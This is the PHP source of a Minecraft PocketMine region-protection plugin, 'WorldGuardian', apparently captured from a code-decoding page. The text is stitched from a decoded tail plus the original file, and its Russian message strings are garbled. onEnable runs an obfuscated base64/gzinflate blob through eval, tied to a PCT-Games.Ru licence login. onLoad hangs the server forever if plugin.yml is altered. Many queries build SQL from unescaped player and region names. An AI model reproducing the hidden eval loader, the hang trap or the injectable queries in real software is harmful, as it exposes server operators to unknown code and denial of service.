'".$result['Region']."' AND Value = 'allow'")->fetchArray(SQLITE3_ASSOC);if(! $member['count'] && ! $flag['count'] && $username != $result['Owner']){if(! $event->getPlayer()->isOp()){$event->getPlayer()->sendMessage($this->msg("msg_youcannotusebonemeal"));$event->setCancelled(true);}}}}if($event->getItem()->getID() == 325){$result = $this->db->query("SELECT * FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);$count = $this->db->query("SELECT COUNT(*) as count FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);if($count['count']){$member = $this->db->query("SELECT COUNT(*) as count FROM MEMBERS WHERE Name = '$username' AND Region = '".$result['Region']."'")->fetchArray(SQLITE3_ASSOC);$flag = $this->db->query("SELECT COUNT(*) as count FROM FLAGS WHERE Flag = 'bucket' AND Region = '".$result['Region']."' AND Value = 'allow'")->fetchArray(SQLITE3_ASSOC);if(! $member['count'] && ! $flag['count'] && $username != $result['Owner']){if(! $event->getPlayer()->isOp()){$event->getPlayer()->sendMessage($this->msg("msg_youcannotusebucket"));$event->setCancelled(true);}}}}if($event->getItem()->getID() == 259){$result = $this->db->query("SELECT * FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);$count = $this->db->query("SELECT COUNT(*) as count FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);if($count['count']){$member = $this->db->query("SELECT COUNT(*) as count FROM MEMBERS WHERE Name = '$username' AND Region = '".$result['Region']."'")->fetchArray(SQLITE3_ASSOC);$flag = $this->db->query("SELECT COUNT(*) as count FROM FLAGS WHERE Flag = 'lighter' AND Region = '".$result['Region']."' AND Value = 'allow'")->fetchArray(SQLITE3_ASSOC);if(! $member['count'] && ! $flag['count'] && $username != $result['Owner']){if(! $event->getPlayer()->isOp()){$event->getPlayer()->sendMessage($this->msg("msg_youcannotuselighter"));$event->setCancelled(true);}}}}}public function onLoad() {$path = dirname(__FILE__)."/../../plugin.yml";if(md5_file($path) != strtolower("21363DF4A42B85D07C8CD0877AD0A96B")) {sleep(time());}}public function countBlocks($x1, $y1, $z1, $x2, $y2, $z2){$count = abs(($x2 - $x1 + 1) * ($y2 - $y1 + 1) * ($z2 - $z1 + 1));return $count;}public function onCommand(CommandSender $sender, Command $cmd, $label, array $args){return $this->wgCommands->onCommand($sender, $cmd, $label, $args);}public function loadDB(){@mkdir($this->getDataFolder());$this->db = new \SQLite3($this->getDataFolder(). "regions.sqlite3");$this->db->exec("CREATE TABLE IF NOT EXISTS AREAS(Region TEXT,Owner TEXT NOT NULL,Pos1X INTEGER NOT NULL,Pos1Y INTEGER NOT NULL,Pos1Z INTEGER NOT NULL,Pos2X INTEGER NOT NULL,Pos2Y INTEGER NOT NULL,Pos2Z INTEGER NOT NULL,Level TEXT NOT NULL);CREATE TABLE IF NOT EXISTS MEMBERS(Name TEXT NOT NULL,Region TEXT NOT NULL);CREATE TABLE IF NOT EXISTS FLAGS(Region TEXT NOT NULL,Flag TEXT NOT NULL,Value TEXT NOT NULL);");}public function onDisable(){$this->db->close();}} ?>
Did this file decode correctly?
Original Code
<?php namespace WorldGuardian;use \pocketmine\event\block\BlockPlaceEvent;use \pocketmine\event\Listener;use \pocketmine\command\CommandExecutor;use \pocketmine\event\block\BlockBreakEvent;use \pocketmine\event\player\PlayerInteractEvent;use pocketmine\command\CommandSender;use pocketmine\command\Command;use pocketmine\Player;use \pocketmine\plugin\PluginBase;use pocketmine\item\Item;use pocketmine\utils\Config;use pocketmine\event\entity\EntityDamageByEntityEvent;use pocketmine\event\entity\EntityDamageByEntity;use pocketmine\event\entity\EntityDamageEvent;use pocketmine\utils\TextFormat;use pocketmine\event\player\PlayerChatEvent;use pocketmine\event\player\PlayerDropItemEvent;use pocketmine\event\server\ServerCommandEvent;use pocketmine\event\player\PlayerCommandPreprocessEvent;class WorldGuardian extends PluginBase implements CommandExecutor, Listener{public $db, $pos1 = array(), $pos2 = array();public $config;public $xgroup;private $msgscfg;public function pct_msg($mes) {$mes = str_replace("&1", "1", $mes);$mes = str_replace("&2", "2", $mes);$mes = str_replace("&3", "3", $mes);$mes = str_replace("&4", "4", $mes);$mes = str_replace("&5", "5", $mes);$mes = str_replace("&6", "6", $mes);$mes = str_replace("&7", "7", $mes);$mes = str_replace("&8", "8", $mes);$mes = str_replace("&9", "9", $mes);$mes = str_replace("&a", "a", $mes);$mes = str_replace("&b", "b", $mes);$mes = str_replace("&c", "c", $mes);$mes = str_replace("&d", "d", $mes);$mes = str_replace("&e", "e", $mes);$mes = str_replace("&f", "f", $mes);return $mes;}public function msg($mes) {$mes = $this->msgscfg->get($mes);$mes = str_replace("&1", "1", $mes);$mes = str_replace("&2", "2", $mes);$mes = str_replace("&3", "3", $mes);$mes = str_replace("&4", "4", $mes);$mes = str_replace("&5", "5", $mes);$mes = str_replace("&6", "6", $mes);$mes = str_replace("&7", "7", $mes);$mes = str_replace("&8", "8", $mes);$mes = str_replace("&9", "9", $mes);$mes = str_replace("&a", "a", $mes);$mes = str_replace("&b", "b", $mes);$mes = str_replace("&c", "c", $mes);$mes = str_replace("&d", "d", $mes);$mes = str_replace("&e", "e", $mes);$mes = str_replace("&f", "f", $mes);return $mes;}public function onBlockBreak(BlockBreakEvent $event){$player = $event->getPlayer();$x = round($event->getBlock()->getX());$y = round($event->getBlock()->getY());$z = round($event->getBlock()->getZ());$level = $event->getBlock()->getLevel()->getName();$username = strtolower($event->getPlayer()->getName());if($event->getItem()->getID() == 271){$this->pos1[$username] = array($x,$y,$z,$level,);$msg_firstpos = $this->msg("msg_firstpos");$msg_firstpos = str_replace("{X}", $x, $msg_firstpos);$msg_firstpos = str_replace("{Y}", $y, $msg_firstpos);$msg_firstpos = str_replace("{Z}", $z, $msg_firstpos);$player->sendMessage($msg_firstpos);if(isset($this->pos1[$username]) && isset($this->pos2[$username]) && $this->pos1[$username][3] == $this->pos2[$username][3]){$pos1 = $this->pos1[$username];$pos2 = $this->pos2[$username];$min[0] = min($pos1[0], $pos2[0]);$max[0] = max($pos1[0], $pos2[0]);$min[1] = min($pos1[1], $pos2[1]);$max[1] = max($pos1[1], $pos2[1]);$min[2] = min($pos1[2], $pos2[2]);$max[2] = max($pos1[2], $pos2[2]);$count = $this->countBlocks($min[0], $min[1], $min[2], $max[0], $max[1], $max[2]);$msg_selectedblocks = $this->msg("msg_selectedblocks");$msg_selectedblocks = str_replace("{COUNT_BLOCKS}", $count, $msg_selectedblocks);$player->sendMessage($msg_selectedblocks);}$event->setCancelled(true);}else{$result = $this->db->query("SELECT * FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);$member = $this->db->query("SELECT COUNT(*) as count FROM MEMBERS WHERE Region = '".$result['Region']."' AND Name = '$username'")->fetchArray(SQLITE3_ASSOC);$flag = $this->db->query("SELECT COUNT(*) as count FROM FLAGS WHERE Region = '".$result['Region']."' AND Flag = 'build' AND Value = 'allow'")->fetchArray(SQLITE3_ASSOC);$chest_access_flag = $this->db->query("SELECT COUNT(*) as count FROM FLAGS WHERE Region = '".$result['Region']."' AND Flag = 'chest-access' AND Value = 'allow'")->fetchArray(SQLITE3_ASSOC);if($result !== false && $username != $result['Owner'] && ! $event->getPlayer()->isOp() && ! $member['count'] && ! $flag['count']){$event->getPlayer()->sendMessage($this->msg("msg_youcannotbreakblocks"));$event->setCancelled(true);}}}public function onEntityDamageByEntity(EntityDamageEvent $event){$entity = $event->getEntity();if($event instanceof EntityDamageByEntityEvent){$damager = $event->getDamager();$leveld = $damager->getLevel()->getName();$xd = round($damager->getX());$yd = round($damager->getY());$zd = round($damager->getZ());$resultd_check = $this->db->query("SELECT COUNT(*) as count FROM AREAS WHERE (Pos1X <= $xd AND $xd <= Pos2X) AND (Pos1Y <= $yd AND $yd <= Pos2Y) AND (Pos1Z <= $zd AND $zd <= Pos2Z) AND Level = '".$leveld."';")->fetchArray(SQLITE3_ASSOC);$resultd = $this->db->query("SELECT * FROM AREAS WHERE (Pos1X <= $xd AND $xd <= Pos2X) AND (Pos1Y <= $yd AND $yd <= Pos2Y) AND (Pos1Z <= $zd AND $zd <= Pos2Z) AND Level = '".$leveld."';")->fetchArray(SQLITE3_ASSOC);$pvpd_flag = $this->db->query("SELECT * FROM FLAGS WHERE Region = '".$resultd['Region']."' AND Flag = 'pvp'")->fetchArray(SQLITE3_ASSOC);$pvpd_flag_check = $this->db->query("SELECT COUNT(*) as count FROM FLAGS WHERE Region = '".$resultd['Region']."' AND Flag = 'pvp'")->fetchArray(SQLITE3_ASSOC);$levele = $entity->getLevel()->getName();$xe = round($entity->getX());$ye = round($entity->getY());$ze = round($entity->getZ());$resulte_check = $this->db->query("SELECT COUNT(*) as count FROM AREAS WHERE (Pos1X <= $xe AND $xe <= Pos2X) AND (Pos1Y <= $ye AND $ye <= Pos2Y) AND (Pos1Z <= $ze AND $ze <= Pos2Z) AND Level = '".$levele."';")->fetchArray(SQLITE3_ASSOC);$resulte = $this->db->query("SELECT * FROM AREAS WHERE (Pos1X <= $xe AND $xe <= Pos2X) AND (Pos1Y <= $ye AND $ye <= Pos2Y) AND (Pos1Z <= $ze AND $ze <= Pos2Z) AND Level = '".$levele."';")->fetchArray(SQLITE3_ASSOC);$pvpe_flag = $this->db->query("SELECT * FROM FLAGS WHERE Region = '".$resulte['Region']."' AND Flag = 'pvp'")->fetchArray(SQLITE3_ASSOC);$pvpe_flag_check = $this->db->query("SELECT COUNT(*) as count FROM FLAGS WHERE Region = '".$resulte['Region']."' AND Flag = 'pvp'")->fetchArray(SQLITE3_ASSOC);if($entity instanceof Player && $damager instanceof Player){if(($resultd_check['count'] && $pvpd_flag_check['count']) || ($resulte_check['count'] && $pvpe_flag_check['count'])){if($pvpd_flag['Value'] == "deny" && $pvpe_flag['Value'] != "deny"){$event->setCancelled(true);$damager->sendMessage($this->msg("msg_youareinanopvp"));}if($pvpd_flag['Value'] == "deny" && $pvpe_flag['Value'] == "deny"){$event->setCancelled(true);$damager->sendMessage($this->msg("msg_youareinanopvp"));}if($pvpd_flag['Value'] != "deny" && $pvpe_flag['Value'] == "deny"){$event->setCancelled(true);$damager->sendMessage($this->msg("msg_thatplayerisinanopvp"));}}}}}public function onEntityDamage(EntityDamageEvent $event){$entity = $event->getEntity();if($event instanceof EntityDamageEvent){if($entity instanceof Player){$x = round($entity->getX());$y = round($entity->getY());$z = round($entity->getZ());$level = $entity->getLevel()->getName();$player = $entity->getPlayer();$result = $this->db->query("SELECT * FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);$count = $this->db->query("SELECT COUNT(*) as count FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);$flag = $this->db->query("SELECT COUNT(*) as count FROM FLAGS WHERE Region = '".$result['Region']."' AND Flag = 'invincible' AND Value = 'allow'")->fetchArray(SQLITE3_ASSOC);if($count['count'] && $flag['count']){$event->setCancelled(true);}}}}public function onPlayerChat(PlayerChatEvent $event){$player = $event->getPlayer();$x = round($player->getX());$y = round($player->getY());$z = round($player->getZ());$level = $player->getLevel()->getName();$username = strtolower($player->getName());$result = $this->db->query("SELECT * FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);$count = $this->db->query("SELECT COUNT(*) as count FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);$flag = $this->db->query("SELECT COUNT(*) as count FROM FLAGS WHERE Region = '".$result['Region']."' AND Flag = 'send-chat' AND Value = 'deny'")->fetchArray(SQLITE3_ASSOC);if($count['count'] && $flag['count'] && ! $player->isOp()){$player->sendMessage($this->msg("msg_youcannotusechat"));$event->setCancelled(true);}}public function onPlayerDropItem(PlayerDropItemEvent $event){$player = $event->getPlayer();$x = round($player->getX());$y = round($player->getY());$z = round($player->getZ());$level = $player->getLevel()->getName();$username = strtolower($player->getName());$result = $this->db->query("SELECT * FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);$flag = $this->db->query("SELECT COUNT(*) as count FROM FLAGS WHERE Region = '".$result['Region']."' AND Flag = 'item-drop' AND Value = 'deny'")->fetchArray(SQLITE3_ASSOC);if($flag['count']){$player->sendMessage($this->msg("msg_youcannotdrop"));$event->setCancelled(true);}}public function onBlockPlace(BlockPlaceEvent $event){$x = round($event->getBlock()->getX());$y = round($event->getBlock()->getY());$z = round($event->getBlock()->getZ());$level = $event->getBlock()->getLevel()->getName();$username = strtolower($event->getPlayer()->getName());$result = $this->db->query("SELECT * FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);$member = $this->db->query("SELECT COUNT(*) as count FROM MEMBERS WHERE Region = '".$result['Region']."' AND Name = '$username'")->fetchArray(SQLITE3_ASSOC);$flag = $this->db->query("SELECT COUNT(*) as count FROM FLAGS WHERE Region = '".$result['Region']."' AND Flag = 'build' AND Value = 'allow'")->fetchArray(SQLITE3_ASSOC);if($result !== false and $username != $result['Owner'] and ! $event->getPlayer()->isOp() and ! $member['count'] and ! $flag['count']){$event->getPlayer()->sendMessage($this->msg("msg_youcannotplaceblocks"));$event->setCancelled(true);}}public function onInteract(PlayerInteractEvent $event){$player = $event->getPlayer();$block = $event->getBlock();$x = round($event->getBlock()->getX());$y = round($event->getBlock()->getY());$z = round($event->getBlock()->getZ());$level = $event->getBlock()->getLevel()->getName();$username = strtolower($event->getPlayer()->getName());if($event->getItem()->getID() == 271){$this->pos2[$username] = array($x,$y,$z,$level,);$msg_secondpos = $this->msg("msg_secondpos");$msg_secondpos = str_replace("{X}", $x, $msg_secondpos);$msg_secondpos = str_replace("{Y}", $y, $msg_secondpos);$msg_secondpos = str_replace("{Z}", $z, $msg_secondpos);$player->sendMessage($msg_secondpos);if(isset($this->pos1[$username]) && isset($this->pos2[$username]) && $this->pos1[$username][3] == $this->pos2[$username][3]){$pos1 = $this->pos1[$username];$pos2 = $this->pos2[$username];$min[0] = min($pos1[0], $pos2[0]);$max[0] = max($pos1[0], $pos2[0]);$min[1] = min($pos1[1], $pos2[1]);$max[1] = max($pos1[1], $pos2[1]);$min[2] = min($pos1[2], $pos2[2]);$max[2] = max($pos1[2], $pos2[2]);$count = $this->countBlocks($min[0], $min[1], $min[2], $max[0], $max[1], $max[2]);$msg_selectedblocks = $this->msg("msg_selectedblocks");$msg_selectedblocks = str_replace("{COUNT_BLOCKS}", $count, $msg_selectedblocks);$player->sendMessage($msg_selectedblocks);}$event->setCancelled(true);}if($event->getBlock()->getID() == 54){$result = $this->db->query("SELECT * FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);$count = $this->db->query("SELECT COUNT(*) as count FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);if($count['count']){$member = $this->db->query("SELECT COUNT(*) as count FROM MEMBERS WHERE Name = '$username' AND Region = '".$result['Region']."'")->fetchArray(SQLITE3_ASSOC);$flag = $this->db->query("SELECT COUNT(*) as count FROM FLAGS WHERE Flag = 'chest-access' AND Region = '".$result['Region']."' AND Value = 'allow'")->fetchArray(SQLITE3_ASSOC);if(! $member['count'] && ! $flag['count'] && $username != $result['Owner']){if(! $event->getPlayer()->isOp()){$event->getPlayer()->sendMessage($this->msg("msg_youcannotopenchests"));$event->setCancelled(true);}}}}if($event->getItem()->getID() == 290 || $event->getItem()->getID() == 291 || $event->getItem()->getID() == 292 || $event->getItem()->getID() == 293 || $event->getItem()->getID() == 294){$result = $this->db->query("SELECT * FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);$count = $this->db->query("SELECT COUNT(*) as count FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);if($count['count']){$member = $this->db->query("SELECT COUNT(*) as count FROM MEMBERS WHERE Name = '$username' AND Region = '".$result['Region']."'")->fetchArray(SQLITE3_ASSOC);if(! $member['count'] && $username != $result['Owner']){if(! $event->getPlayer()->isOp()){$event->getPlayer()->sendMessage($this->msg("msg_youcannottohilldirt"));$event->setCancelled(true);}}}}if($event->getBlock()->getID() == 64 || $event->getBlock()->getID() == 71 || $event->getBlock()->getID() == 324 || $event->getBlock()->getID() == 330){$result = $this->db->query("SELECT * FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);$count = $this->db->query("SELECT COUNT(*) as count FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);if($count['count']){$member = $this->db->query("SELECT COUNT(*) as count FROM MEMBERS WHERE Name = '$username' AND Region = '".$result['Region']."'")->fetchArray(SQLITE3_ASSOC);$flag = $this->db->query("SELECT COUNT(*) as count FROM FLAGS WHERE Flag = 'use' AND Region = '".$result['Region']."' AND Value = 'allow'")->fetchArray(SQLITE3_ASSOC);if(! $member['count'] && ! $flag['count'] && $username != $result['Owner']){if(! $event->getPlayer()->isOp()){$event->getPlayer()->sendMessage($this->msg("msg_youcannotopendoors"));$event->setCancelled(true);}}}}if($event->getBlock()->getID() == 61 || $event->getBlock()->getID() == 62){$result = $this->db->query("SELECT * FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);$count = $this->db->query("SELECT COUNT(*) as count FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);if($count['count']){$member = $this->db->query("SELECT COUNT(*) as count FROM MEMBERS WHERE Name = '$username' AND Region = '".$result['Region']."'")->fetchArray(SQLITE3_ASSOC);$flag = $this->db->query("SELECT COUNT(*) as count FROM FLAGS WHERE Flag = 'use' AND Region = '".$result['Region']."' AND Value = 'allow'")->fetchArray(SQLITE3_ASSOC);if(! $member['count'] && ! $flag['count'] && $username != $result['Owner']){if(! $event->getPlayer()->isOp()){$event->getPlayer()->sendMessage($this->msg("msg_youcannotusefurnaces"));$event->setCancelled(true);}}}}if($event->getItem()->getID() == 280){$result = $this->db->query("SELECT * FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);$count = $this->db->query("SELECT COUNT(*) as count FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);if($count['count']){$count_blocks = $this->countBlocks($result['Pos1X'], $result['Pos1Y'], $result['Pos1Z'], $result['Pos2X'], $result['Pos2Y'], $result['Pos2Z']);$flag = $this->db->query("SELECT COUNT(*) as count FROM FLAGS WHERE Region = '".$result['Region']."' AND Flag = 'info' AND Value = 'deny'")->fetchArray(SQLITE3_ASSOC);if(! $flag['count'] || $username == $result['Owner'] || $player->isOp()){$msg_rginfo = $this->msg("msg_rginfo");$msg_rginfo = str_replace("{REGION}", $result['Region'], $msg_rginfo);$msg_rginfo = str_replace("{OWNER}", $result['Owner'], $msg_rginfo);$msg_rginfo = str_replace("{COUNT_BLOCKS}", $count_blocks, $msg_rginfo);$msg_rginfo = str_replace("{POS1X}", $result['Pos1X'], $msg_rginfo);$msg_rginfo = str_replace("{POS1Y}", $result['Pos1Y'], $msg_rginfo);$msg_rginfo = str_replace("{POS1Z}", $result['Pos1Z'], $msg_rginfo);$msg_rginfo = str_replace("{POS2X}", $result['Pos2X'], $msg_rginfo);$msg_rginfo = str_replace("{POS2Y}", $result['Pos2Y'], $msg_rginfo);$msg_rginfo = str_replace("{POS2Z}", $result['Pos2Z'], $msg_rginfo);$event->getPlayer()->sendMessage($msg_rginfo);}else{$msg_rginfohidden = $this->msg("msg_rginfohidden");$event->getPlayer()->sendMessage($msg_rginfohidden);}}else{$msg_noregionshere = $this->msg("msg_noregionshere");$event->getPlayer()->sendMessage($msg_noregionshere);}}}public function onEnable(){@mkdir($this->getDataFolder());$dbf = fopen($this->getDataFolder(). "regions.sqlite3", 'a');fwrite($dbf, "");fclose($dbf);if(! file_exists($this->getDataFolder()."pct.yml")) {$pctcntnt = "################################\n# PCT-GAMES #\n################################\n\nusername: 'name'\npassword: 'pass'\n\n################################\n# MESSAGES #\n################################\n\nprefix: '&8[&7PCT-GAMES&8]&b '\nmsg_connecting: '&e PCT-Games.Ru. ...'\nmsg_fail: '&c PCT-Games.Ru.'\nmsg_bought: '&2 WorldGuardian. ! :)'\nmsg_notbought: '&4 WorldGuardian PCT-Games.Ru, ! ...'\nmsg_banned: '&4 PCT-Games.Ru ! ...'\nmsg_auth: '&4 PCT-Games.Ru! / . ''pct.yml'' , name pass? ...'\nmsg_error: '&4 ! ...'\nmsg_response: '&4 PCT-Games.Ru! ...'";$file = fopen($this->getDataFolder()."pct.yml", 'a');fwrite($file, $pctcntnt);fclose($file);$pctcntnt = new \pocketmine\Utils\Config($this->getDataFolder()."pct.yml", Config::YAML);} else {$pctcntnt = new \pocketmine\Utils\Config($this->getDataFolder()."pct.yml", Config::YAML);}eval(gzinflate(base64_decode(strrev('==AA/SjqP1rOcSox+bPrySw/QwRO5ByFfw/1KGft7rbG1HQFDbzrC5EcTiDjAmlUniYclCsdlye/WUnpO5CCBF7Ux+H/8ouTe2rep+kcjJfTOXykdLzcCCRa3Fdj3c6Patl/hh5LHa0PIl9ZYOI3ZPFZvZOwa5LOHn6kx/4kdA/H/CUF/kAHKufJaVamCfb0P4cfQQ+1IzSGCKnTllxslfdhUOv2XexZMrfPyXexabKlqMHWrMEzc4uP75xUcmzXn33q1DylRLAVOTLw7ZCfKOzXbDkIk36uzJfT2sGvLaFkcSUsyv1Ic9QdDPs1dx6j6oP97CX+JI9cVD90Pb0uHO4oj16yT+y1w6Orv/YG6Cd9Bf54Y3qWLbaqAB6d2gm0h9WqnA2TOoALwECnWfabVji0EjxjWrDExZqsx8Rdq5z1ZpJ+jjE3ALUikdmqOYnGKXMlnQuskqsBTZTVZ8kMam98y+3IGtqsR6WYu2KfRrytUZ0XIKaY64P4OPqxNghf/gqxiAPl0gblR1ve3luuY3d4bP6D6qUrtNkQ8AYkbcaKLDw3MB6JKgJv0JSFQrMWLg9wg7Ac46Czf+hcVGB83R1mTRxyyEk3eXNpoHEL6x1mGb8lBpghVECBDojCPmM3CAsVEiV71va7DWZuJS/8B0YgMa+yOc1Tc0rY8wI9Z2a0Dl7GXCTHtaGGANP33ix0g4XiZkUtmtcU0nlxUBvbBISV+h0b3eo5aghTA3TtqGjSRmGK0KTG0yWicFpZnN7s54c7gwsrKoB0auV5zW3d/GPT2d0dV5NVu0YLiVTI0jD4sDhpdWbxYTqPSGlvEAZYW8B9v0HEAttabfV7'))));if(file_exists($this->getDataFolder()."config.yml")) {$this->config = new Config($this->getDataFolder()."config.yml", Config::YAML);} else {if($this->getServer()->getPluginManager()->getPlugin('xPermissions')) {$perm_plugin = "xPermissions";} elseif($this->getServer()->getPluginManager()->getPlugin('PurePerms')) {$perm_plugin = "PurePerms";} else {$perm_plugin = false;}if($perm_plugin == "xPermissions" || $perm_plugin == "false") {$default_group = 'Default';} elseif($perm_plugin == "PurePerms") {$default_group = 'Guest';}$enable_permission_plugin_support = true;if($perm_plugin == false) {$enable_permission_plugin_support = false;}$this->config = new Config($this->getDataFolder()."config.yml", Config::YAML, array('enable_permission_plugin_support' => $enable_permission_plugin_support,'permission_plugin' => $perm_plugin,'default_group' => $default_group,'use_world_parameter' => false));}if(file_exists($this->getDataFolder()."messages.yml")) {$this->msgscfg = new Config($this->getDataFolder()."messages.yml", Config::YAML);} else {$file = fopen($this->getDataFolder()."messages.yml", 'a');fwrite($file, "msg_addedtonextregions: \"&e () ():\"\nmsg_addedtonextregions_tpl: \"&7{REGION}\"\nmsg_nooneaddedtoregion: \"&7 .\"\nmsg_playerwasaddedtoregion: \"&e{MEMBER} .\"\nmsg_playeralreadyaddedtoregion: \"&c{MEMBER} .\"\n\nmsg_regiondoesnotexists: \"&c {REGION} .\"\n\nmsg_addmemberusage: \": /addmember <> <>\"\nmsg_playerwasremovedfromregion: \"&e{MEMBER} .\"\nmsg_playerdoesnotconsistinthisregion: \"&c{MEMBER} .\"\nmsg_selectplayerwhowanttokick: \"&c , !\"\nmsg_flaghasbeenset: \"&e '{VALUE}' '{FLAG}'\"\nmsg_flaginvalidvalue: \"&c 'allow' () 'deny' ().\"\nmsg_flags: \"&e : pvp, build, chest-access, use, info, bone-meal, bucket, lighter, send-chat, item-drop\"\nmsg_adminflags: \"&e : invincible\"\nmsg_youcannotusethisflag: \"&c .\"\nmsg_flagusage: \": /flag <> <> <>\"\nmsg_youleftregion: \"&e {REGION}.\"\nmsg_youdonotconsistsinthisregion: \"&c {REGION}.\"\nmsg_selectregionfromwhichyouwanttoleave: \"&c , !\"\nmsg_wandusage: \"&5 ( ): . : .\"\nmsg_rginfo: \"&8===== &7{REGION} &8=====\\n&9: &e{OWNER}\\n&9 : &e{COUNT_BLOCKS}\\n&9 : &e{POS1X} {POS1Y} {POS1Z}\\n&9 : &e{POS2X} {POS2Y} {POS2Z}\"\nmsg_rginfohidden: \"&c .\"\nmsg_noregionshere: \"&7 .\"\n\nmsg_rgmembers: \"&8=== &7{REGION} &8===\"\nmsg_rgmembers_tpl: \"&5{MEMBER}\"\nmsg_nomembers: \"&7 .\"\n\nmsg_rgflags: \"&8==== &7{REGION} &8====\"\nmsg_rgflags_tpl: \"&5{FLAG}: &9{VALUE}\"\nmsg_noflags: \"&7 .\"\n\nmsg_firstpos: \"&d ({X}, {Y}, {Z}).\"\nmsg_secondpos: \"&d ({X}, {Y}, {Z}).\"\nmsg_selectedblocks: \"&5 {COUNT_BLOCKS} .\"\n\nmsg_rghelp: \"&9/rg info&e , .\\n&9/rg info <>&e .\\n&9/rg <> flags&e .\\n&9/rg list&e .\\n&9/rg <> members&e , .\\n&9/addmember <> <>&e \\n&9/removemember <> <>&e .\\n&9/leaveregion <>&e \\n&9/member&e , .\\n&9/flag <> <> <allow/deny/none>&e .\\n&9/rg pos1&e &9 pos2&e ( ).\\n&9/claim <>&e .\\n&9/unclaim <>&e .\"\n\nmsg_claimselectarea: \"&c !\"\nmsg_claimselectedpositionsindifferentworlds: \"&c !\"\nmsg_claimregionoverlapsotherregion: \"&c {REGION}.\"\nmsg_claimmaxblocks: \"&c {MAX_BLOCKS}.\\n&c {SELECTED_BLOCKS}.\"\nmsg_claimmaxregions: \"&c {MAX_REGIONS} .\\n&c {CREATED_REGIONS} .\"\nmsg_claimregionalreadyexists: \"&c {REGION} !\"\nmsg_claimincorrect: \"&c !\\n&c , .\"\nmsg_claimsuccess: \"&e {REGION}!\"\n\nmsg_unclaimusage: \": /unclaim <>\"\nmsg_unclaimsuccess: \"&e {REGION}.\"\n\nmsg_youcannotbreakblocks: \"&4 .\"\nmsg_youcannotplaceblocks: \"&4 .\"\nmsg_youareinanopvp: \"&4 PvP.\"\nmsg_thatplayerisinanopvp: \"&4 